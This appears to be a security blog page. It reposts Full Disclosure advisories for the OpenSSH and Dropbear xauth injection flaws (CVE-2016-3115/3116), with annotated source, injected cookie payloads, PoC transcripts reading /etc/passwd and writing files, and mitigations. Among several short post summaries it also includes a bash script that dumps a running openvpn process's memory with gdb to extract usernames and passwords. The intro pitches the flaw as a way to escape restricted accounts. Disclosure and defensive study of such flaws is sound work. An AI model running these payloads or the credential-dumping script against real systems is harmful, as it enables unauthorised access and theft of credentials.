Hacks and Incidents, Security Techniques

Time to supercharge your restricted SSH accounts!

Time to hack restricted SSH accounts thanks to an injection in the “xauth” command! Not an exploit for everyone but CVE-2016-3115 and CVE-2016-3116 details have just been published on Full Disclosure, and they will be useful to a lot of people for sure :) If your remote provider gives you a restricted SSH access using a forced-command (git anyone?) OR interdict shell access by using /bin/false AND and x11-forwarding is enabled then you may be able to circumvent that limitations and gain interactive access.

[FD] CVE-2016-3115 – OpenSSH <=7.2p1 xauth injection

Author:     <github.com/tintinweb>
Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115
Version:    0.2
Date:       Mar 3rd, 2016

Tag:        openssh xauth command injection may lead to forced-command and /bin/false bypass

Overview
--------

Name:           openssh
Vendor:         OpenBSD
References:     * http://www.openssh.com/[1]

Version:        7.2p1 [2]
Latest Version: 7.2p1
Other Versions: <= 7.2p1 (all versions; dating back ~20 years)
Platform(s):    linux
Technology:     c

Vuln Classes:   CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Origin:         remote
Min. Privs.:    post auth

CVE:            CVE-2016-3115



Description
---------

quote website [1]

OpenSSH is the premier connectivity tool for remote login with the SSH protocol. It encrypts all traffic to eliminate eavesdropping, connection hijacking, and other attacks. In addition, OpenSSH provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options.
Summary
-------

An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie.
The newline acts as a command separator to the xauth binary. This attack requires
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.

By injecting xauth commands one gains limited* read/write arbitrary files,
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with the login shell
configured as /bin/false or one with configured forced-commands - to bypass
account restriction. This is generally not expected.

The injected xauth commands are performed with the effective permissions of the
logged in user as the sshd already dropped its privileges.

Quick-Info:

* requires: X11Forwarding yes
* bypasses /bin/false and forced-commands
** OpenSSH does not treat /bin/false like /bin/nologin (in contrast to Dropbear)
* does not bypass /bin/nologin (as there is special treatment for this)

Capabilities (xauth):

* Xauth
	* write file: limited chars, xauthdb format
	* read file: limit lines cut at first \s
	* infoleak: environment
	* connect to other devices (may allow port probing)


PoC see ref github.
Patch see ref github.


Details
-------

// see annotated code below

    * server_input_channel_req (serverloop.c)
     *- session_input_channel_req:2299 (session.c [2])
      *- session_x11_req:2181

    * do_exec_pty or do_exec_no_pty
     *- do_child
      *- do_rc_files (session.c:1335 [2])

Upon receiving an `x11-req` type channel request sshd parses the channel request
parameters `auth_proto` and `auth_data` from the client ssh packet where
`auth_proto` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `auth_data` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, sshd will
call `do_rc_files` which tries to figure out if this is an x11 call by evaluating
if `auth_proto` and `auth_data` (and `display`) are set. If that is the case AND
there is no system `/sshrc` existent on the server AND it no user-specific `$HOME/.ssh/rc`
is set, then `do_rc_files` will run `xauth -q -` and pass commands via `stdin`.
Note that `auth_data` nor `auth_proto` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.

Sidenote #1: in case sshd takes the `$HOME/.ssh/rc` branch, it will pass the tainted
input as arguments to that script.
Sidenote #2: client code also seems to not sanitize `auth_data`, `auth_proto`. [3]

This is an excerpt of the `man xauth` [4] to outline the capabilities of this xauth
command injection:

	SYNOPSIS
       	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]

		add displayname protocolname hexkey
		generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
		[n]extract filename displayname...
		[n]list [displayname...]
		[n]merge [filename...]
		remove displayname...
		source filename
		info
		exit
		quit
		version
		help
		?
		
Interesting commands are:
	
	info	 - leaks environment information / path
			~# xauth info
			xauth:  file /root/.Xauthority does not exist
			Authority file:       /root/.Xauthority
			File new:             yes
			File locked:          no
			Number of entries:    0
			Changes honored:      yes
			Changes made:         no
			Current input:        (argv):1
	
	source	 - arbitrary file read (cut on first `\s`)
			# xauth source /etc/shadow
			xauth:  file /root/.Xauthority does not exist
			xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
						
	extract  - arbitrary file write
			 * limited characters
	         * in xauth.db format
	         * since it is not compressed it can be combined with `xauth add` to
	           first store data in the database and then export it to an arbitrary
	           location e.g. to plant a shell or do other things.
	
	generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
			   vulnerabilities in X.org
	
	
Source
------

Inline annotations are prefixed with `//#!`


/*
 * Run $HOME/.ssh/rc, /etc/ssh/sshrc, or xauth (whichever is found
 * first in this order).
 */
static void
do_rc_files(Session *s, const char *shell)
{
...
		snprintf(cmd, sizeof cmd, "%s -q -",				
		    options.xauth_location);
		f = popen(cmd, "w");							//#! run xauth -q -
		if (f) {
			fprintf(f, "remove %s\n",					//#! remove <user_tainted_data> - injecting \n auth_display injects xauth command
			    s->auth_display);
			fprintf(f, "add %s %s %s\n",				//#! \n injection
			    s->auth_display, s->auth_proto,
			    s->auth_data);
			pclose(f);
		} else {
			fprintf(stderr, "Could not run %s\n",
			    cmd);
		}
	}
}

Proof of Concept
----------------

Prerequisites:

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* make sure `poc.py`


 Usage: <host> <port> <username> <password or path_to_privkey>

        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key


poc:

1. configure one user (user1) for `force-commands` and another one with `/bin/false` in `/etc/passwd`:

#PUBKEY line - force commands: only allow "whoami"
#cat /home/user1/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box

#cat /etc/passwd
user2:x:1001:1002:,,,:/home/user2:/bin/false
	
2. run sshd with `X11Forwarding yes` (kali default config)

#> /root/openssh-7.2p1/sshd -p 22 -f sshd_config -D -d

3. `forced-commands` - connect with user1 and display env information

#> python <host> 22 user1 .demoprivkey

INFO:__main__:add this line to your authorized_keys file:
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box

INFO:__main__:connecting to: user1:<PKEY>@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file:       /home/user1/.Xauthority
File new:             no
File locked:          no
Number of entries:    1
Changes honored:      yes
Changes made:         no
Current input:        (stdin):3
/usr/bin/xauth: (stdin):2:  bad "add" command line
...
		
4. `forced-commands` - read `/etc/passwd`

...
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

5. `forced-commands` - write `/tmp/testfile`

#> .writefile /tmp/testfile `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:/usr/bin/xauth: (stdin):2:  bad "add" command line

#> ls -lsat /tmp/testfile
4 -rw------- 1 user1 user1 59 xx xx 13:49 /tmp/testfile

#> cat /tmp/testfile
\FA65500hi\FA65500`thisisatestfile`\AA

6. `/bin/false` - connect and read `/etc/passwd`

#> python <host> 22 user2 user2password
INFO:__main__:connecting to: user2:user2password@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
user2:x:1001:1002:,,,:/home/user2:/bin/false
...
	
7. `/bin/false` - initiate outbound X connection to 8.8.8.8:6100

#> generate 8.8.8.8:100 .	

#> tcpdump
IP <host>.42033 > 8.8.8.8.6100: Flags [S], seq 1026029124, win 29200, options [mss 1460,sackOK,TS val 431416709 ecr 0,nop,wscale 10], length 0
	

Mitigation / Workaround
------------------------

* disable x11-forwarding: `sshd_config` set `X11Forwarding no`
* disable x11-forwarding for specific user with forced-commands: `no-x11-forwarding` in `authorized_keys`

Notes
-----

Verified, resolved and released within a few days. very impressive.

Vendor response: see advisory [5]

References
----------

[1] http://www.openssh.com/
[2] https://github.com/openssh/openssh-portable/blob/5a0fcb77287342e2fc2ba1cee79b6af108973dc2/session.c#L1388
[3] https://github.com/openssh/openssh-portable/blob/19bcf2ea2d17413f2d9730dd2a19575ff86b9b6a/clientloop.c#L376
[4] http://linux.die.net/man/1/xauth
[5] http://www.openssh.com/txt/x11fwd.adv

[FD] CVE-2016-3116 – Dropbear SSH xauth injection

Author:     <github.com/tintinweb>
Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
Version:    0.2
Date:       Mar 3rd, 2016

Tag:        dropbearsshd xauth command injection may lead to forced-command bypass

Overview
--------

Name:           dropbear
Vendor:         Matt Johnston
References:     * https://matt.ucc.asn.au/dropbear/dropbear.html [1]

Version:        2015.71
Latest Version: 2015.71
Other Versions: <= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
Platform(s):    linux
Technology:     c

Vuln Classes:   CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Origin:         remote
Min. Privs.:    post auth

CVE:            CVE-2016-3116



Description
---------

quote website [1]

Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.
Summary
-------

An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie.
The newline acts as a command separator to the xauth binary. This attack requires
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.

By injecting xauth commands one gains limited* read/write arbitrary files,
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass
account restriction. This is generally not expected.

The injected xauth commands are performed with the effective permissions of the
logged in user as the sshd already dropped its privileges.

Quick-Info:

* requires: X11Forwarding yes
* does *NOT* bypass /bin/false due to special treatment (like nologin)
* bypasses forced-commands (allows arbitr. read/write)

Capabilities (xauth):

* Xauth
	* write file: limited chars, xauthdb format
	* read file: limit lines cut at first \s
	* infoleak: environment
	* connect to other devices (may allow port probing)


PoC see ref github.


Details
-------

// see annotated code below

    * x11req (svr-x11fwd.c:46)

    * execchild (svr-chansession.c:893)
     *- x11setauth (svr-x11fwd.c:129)

Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request
parameters `x11authprot` and `x11authcookie` from the client ssh packet where
`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `x11authcookie` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, dropbear will
call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding
by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.
Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.

This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth
command injection:

	SYNOPSIS
       	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]

		add displayname protocolname hexkey
		generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
		[n]extract filename displayname...
		[n]list [displayname...]
		[n]merge [filename...]
		remove displayname...
		source filename
		info
		exit
		quit
		version
		help
		?
		
Interesting commands are:
	
	info	 - leaks environment information / path
			~# xauth info
			xauth:  file /root/.Xauthority does not exist
			Authority file:       /root/.Xauthority
			File new:             yes
			File locked:          no
			Number of entries:    0
			Changes honored:      yes
			Changes made:         no
			Current input:        (argv):1
	
	source	 - arbitrary file read (cut on first `\s`)
			# xauth source /etc/shadow
			xauth:  file /root/.Xauthority does not exist
			xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
						
	extract  - arbitrary file write
			 * limited characters
	         * in xauth.db format
	         * since it is not compressed it can be combined with `xauth add` to
	           first store data in the database and then export it to an arbitrary
	           location e.g. to plant a shell or do other things.
	
	generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
			   vulnerabilities in X.org
	
	
Source
------

Inline annotations are prefixed with `//#!`

* handle x11 request, stores cookie in `chansess`
	
/* called as a request for a session channel, sets up listening X11 */
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
int x11req(struct ChanSess * chansess) {

	int fd;

	/* we already have an x11 connection */
	if (chansess->x11listener != NULL) {
		return DROPBEAR_FAILURE;
	}

	chansess->x11singleconn = buf_getbyte(ses.payload);
	chansess->x11authprot = buf_getstring(ses.payload, NULL);			//#! store user tainted data
	chansess->x11authcookie = buf_getstring(ses.payload, NULL);			//#! store user tainted data
	chansess->x11screennum = buf_getint(ses.payload);

* set auth cookie/authprot

/* This is called after switching to the user, and sets up the xauth
 * and environment variables.  */
void x11setauth(struct ChanSess *chansess) {

	char display[20]; /* space for "localhost:12345.123" */
	FILE * authprog = NULL;
	int val;

	if (chansess->x11listener == NULL) {
		return;
	}

	...

	/* popen is a nice function - code is strongly based on OpenSSH's */
	authprog = popen(XAUTH_COMMAND, "w");										//#!  run xauth binary
	if (authprog) {
		fprintf(authprog, "add %s %s %s\n",
				display, chansess->x11authprot, chansess->x11authcookie);		//#!  \n injection in cookie, authprot
		pclose(authprog);
	} else {
		fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
	}
}

Proof of Concept
----------------

Prerequisites:

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* run `poc.py`

Note: see cve-2016-3115 [3] for `poc.py`

 Usage: <host> <port> <username> <password or path_to_privkey>

        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key


poc:

1. configure one user (user1) for `force-commands`:

#PUBKEY line - force commands: only allow "whoami"
#cat /home/user1/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box

#cat /etc/passwd
user1:x:1001:1001:,,,:/home/user1:/bin/bash
	
2. run dropbearsshd (x11fwd is on by default)

#> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
[22861] Not backgrounding
[22862] Child connection from 192.168.139.1:49597
[22862] Forced command 'whoami'
[22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
		

3. `forced-commands` - connect with user1 and display env information

#> python <host> 22 user1 .demoprivkey

INFO:__main__:add this line to your authorized_keys file:
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box

INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file:       /home/user1/.Xauthority
File new:             no
File locked:          no
Number of entries:    2
Changes honored:      yes
Changes made:         no
Current input:        (stdin):2
user1
/usr/bin/xauth: (stdin):1:  bad "add" command line
...
		
4. `forced-commands` - read `/etc/passwd`

...
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
		
5. `forced-commands` - write `/tmp/testfile`

#> .writefile /tmp/testfile1 `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:user1
/usr/bin/xauth: (stdin):1:  bad "add" command line

#> INFO:__main__:/tmp/testfile1

#> ls -lsat /tmp/testfile1
4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1

#> cat /tmp/testfile1
\FA65500hi\FA65500`thisisatestfile`\AAr
	
	
6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100

#> generate 8.8.8.8:100
DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:user1
/usr/bin/xauth: (stdin):1:  bad "add" command line
/usr/bin/xauth: (stdin):2:  unable to open display "8.8.8.8:100".

#> tcpdump
IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
	

Mitigation / Workaround
------------------------

* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`

Notes
-----

Thanks to the OpenSSH team for coordinating the fix!

Vendor response see: changelog [4]


References
----------

[1] https://matt.ucc.asn.au/dropbear/dropbear.html
[2] http://linux.die.net/man/1/xauth
[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
[4] https://matt.ucc.asn.au/dropbear/CHANGES
Standard
Security Techniques

JSF ViewState upside-down

Renaud Dubourguais and Nicolas Collignon released a nice paper on Java Server Faces security titled JSF ViewState upside-down (http://www.synacktiv.fr/ressources/JSF_ViewState_InYourFace.pdf).

JSF implementations are often used in J2EE applications. JSF uses ViewStates which have already been discussed for cryptographic weaknesses like with the oracle padding attack [PADDING]. ViewStates have also been abused to create client side attacks like Cross-Site Scripting [XSS]. But as shown in this research, they can also be used to perform much more dangerous attacks on web applications:

  • Business data leak
  • Direct object references exploitation
  • Bypassing user inputs validators
  • Arbitrary code execution
Standard
Security Techniques

Grab credentials from a running openvpn process in Linux

#!/bin/bash
# This little hack-job will grab credentials from a running openvpn process in Linux
# Keep in mind this won't work if the user used the --auth-nocache flag

grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done
echo "Your credentials should be listed below as username/password"

strings *.dump | grep -B2 KnOQ | grep -v KnOQ
rm *.dump --force
Standard
Security Techniques

Fishing the AWS IP Pool for Dangling Domains

Fishing the AWS IP Pool for Dangling Domains: Amazon and other cloud providers have made it child’s play to spin up ephemeral server instances for quick deployment of various services. If you want a web server to host your new .io domain name, you can have it set up in no time at all. Starting a website has never been easier — just spin up an EC2 instance, install your stack, point your domain/subdomain to the instance, and kill it when you’re tired of it.

Hold on, though — did you clear that DNS entry?

If the answer is “No” or “I don’t know,” then keep reading.

Standard
Security Techniques

Netgear R6200 wireless router pwnage

http://shadow-file.blogspot.it/2015/04/broken-abandoned-and-forgotten-code_22.html

http://shadow-file.blogspot.it/2015/04/abandoned-part-01.html

http://shadow-file.blogspot.it/2015/04/abandoned-part-02.html

http://shadow-file.blogspot.it/2015/05/abandoned-part-03.html

http://shadow-file.blogspot.it/2015/05/abandoned-part-04.html

http://shadow-file.blogspot.it/2015/05/abandoned-part-05.html

http://shadow-file.blogspot.it/2015/05/abandoned-part-06.html

http://shadow-file.blogspot.it/2015/06/abandoned-part-07.html

http://shadow-file.blogspot.it/2015/06/abandoned-part-08.html

http://shadow-file.blogspot.it/2015/06/abandoned-part-09.html

http://shadow-file.blogspot.it/2015/07/abandoned-part-10.html

http://shadow-file.blogspot.it/2015/07/abandoned-part-11.html

http://shadow-file.blogspot.it/2015/09/abandoned-part-12.html

http://shadow-file.blogspot.it/2015/10/abandoned-part-13.html

There is even a Github repository for the project!

Standard
Security Techniques

Stack overflow in libtasn1

Stack overflow in libtasn1: libtasn1 is a library to parse ASN.1 data structures. Its most prominent user is GnuTLS.

Fuzzing libtasn1 led to the discovery of a stack write overflow in the function _asn1_ltostr (file parser_aux.c). It overflows a temporary buffer variable on certain inputs. This issue has been reported to the developers on 2015-03-26. A fix was released on 2015-03-29.

The issue can be exposed with Valgrind or Address Sanitizer. The Address Sanitizer output with detailed info is given below.

Standard
Security Techniques

Noose around Internet’s TLS system tightens with 2 new decryption attacks

Noose around Internet’s TLS system tightens with 2 new decryption attacks: The noose around the neck of the Internet’s most widely used encryption scheme got a little tighter this month with the disclosure of two new attacks that can retrieve passwords, credit card numbers and other sensitive data from some transmissions protected by secure sockets layer and transport layer security protocols.

Both attacks work against the RC4 stream cipher, which is estimated to encrypt about 30 percent of today’s TLS traffic. Cryptographers have long known that some of the pseudo-random bytes RC4 uses to encode messages were predictable, but it wasn’t until 2013 that researchers devised a practical way to exploit the shortcoming. The result was an attack that revealed small parts of the plaintext inside an HTTPS-encrypted data stream. It required attackers to view more than 17 billion (234) separate encryptions of the same data. That was a high bar, particularly given that the attack revealed only limited amounts of plaintext. Still, since the researchers demonstrated the attack could decrypt HTTPS-protected authentication cookies used to access user e-mail accounts, Google and other website operators immediately took notice.

Now, researchers have figured out refinements that allow them to recover RC4-protected passwords with a 50-percent success rate using slightly more than 67 million (226) encryptions, a two-order of magnitude reduction over the previous attack used to recover secure cookies. The exploits—laid out in a paper published last week titled Attacks Only Get Better: Password Recovery Attacks Against RC4 in TLS—work against both Basic access authentication over HTTPS and the widely used IMAP protocol for retrieving and storing e-mail.

Standard
Security Techniques

Pcap2XML/Sqlite

Pcap2XML/Sqlite: This tool converts 802.11 packet traces (PCAP format) into an XML and SQLITE equivalent so you can now run XPATH/XQUERY/SQL queries on the packets.

Why do we need this?

Wireshark is great when it comes to capturing and filtering packet traces. However, it has no facility for macro level tasks. Here are some answers which Wireshark cannot give you out of the box:

  • Give me all device MAC addresses in the PCAP
  • Give me a unique list of all Access Point/Ad-Hoc networks in the PCAP
  • Of course, this is by design. Wireshark is a packet capture tool and not a data analysis platform.

This is where Pcap2XMl/Sqlite comes in! We map every header field in an 802.11 packet to an XML and SQLITE Equivalent. Once we convert every packet into these formats, it is extremely easy to run analysis tools on them as you shall see in latter part of this post.

Where can this tool be used?

This tool can be used anywhere there is a need to analyze individual packets. However, we had the following purposes in mind:

  • Teaching Wi-Fi security using Packet Analysis
  • Deriving Macro-Stats on a PCAP file as discussed in the previous section
  • Writing a simple Wi-Fi IDS :)
Standard
Security Techniques

TextSecure, RedPhone, and Signal threat modeling

TextSecure, RedPhone, and Signal threat modeling: TextSecure, RedPhone, and Signal threat modeling

In this blog post I will explore what telecommunication companies (telcos) are able to observe in terms of metadata and content when using or not using Open Whisper Systems’ TextSecure, Signal, and RedPhone. This blog post is independently licensed as “CC0″, because I hope that it might influence EFF’s Surveillance Self Defense guide. Special thanks to John Brooks for content editing.

Introduction

Telecos, globally, for over a hundred years, have had various data retention policies that include metadata and content collection and storage (information seizure). In the United States, the Communications Assistance for Law Enforcement Act (CALEA) was enacted specifically to enhance electronic surveillance. Anything the telecos can see and store, intelligence agencies and law enforcement have the ability to obtain too, often in real-time (information search). Intelligence agencies store this information for much longer than telcos because of the monetary costs to store your private information. Within the Snowden revelations, top secret documents make clear that as much information as possible is collected depending on company/agency capacity and technical capability.

The mobile devices that you use contain a huge swath of information about you. They also contain a huge swath of information about the people that you communicate with. In each of the scenarios that I explore below, I’ll be breaking down my exploration into two high-level categories; device vulnerabilities, which can alternatively be thought of as “data at rest”. The second high-level category is infrastructure threats, which can alternatively be thought of as “data in motion”.

Standard